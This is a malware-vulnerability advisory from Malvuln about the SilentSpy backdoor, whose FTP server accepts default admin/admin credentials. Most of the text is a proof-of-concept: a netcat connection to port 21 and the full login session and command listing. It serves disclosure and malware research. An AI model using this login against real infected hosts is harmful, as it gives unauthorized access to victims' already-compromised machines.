Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/a7ce38e60cf08f2b234f34043b87e701_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Threat: Backdoor.Win32.SilentSpy.10
Vulnerability: Authentication Race Condition
Description: The malware runs an FTP server on TCP port 21. Third-party attackers who can reach the system before a password has been set can logon using default credentials of admin/admin. The default credentials are displayed in the FTP banner upon connecting.
Type: PE32
MD5: a7ce38e60cf08f2b234f34043b87e701
Vuln ID: MVID-2021-0441
Disclosure: 12/31/2021
Exploit/PoC:
nc64.exe x.x.x.x 21
220-+-----------------------+
220-| º∩LΘn7 ºpy FTP server |
220-+-----------------------+-------------------------------------------------+
220-| To use the FTP server type, |
220-| USER admin |
220-| PASS [servers password] |
220-| IF the server doesn't have a password then the password is also 'admin' |
220-| Have fun [type HELP for more commands] |
220 +-------------------------------------------------------------------------+
USER admin
331 and the password for admin is .. ??
PASS admin
230 Welcome
SYST
215 IBM-PC (Windows95/98/NT based system)
HELP
214-The following commands are recognized:
ABOR DELE NOOP REIN SITE SYST XRMD
ACCT HELP PASS REST SMNT TYPE SIZE
ALLO LIST PASV RETR STAT USER
APPE MKD PORT RMD STOR XCWD
CDUP MODE PWD RNFR STOU XMKD
CWD NLST QUIT RNTO STRU XPWD
214 Send comments to drtinus@yahoo.com
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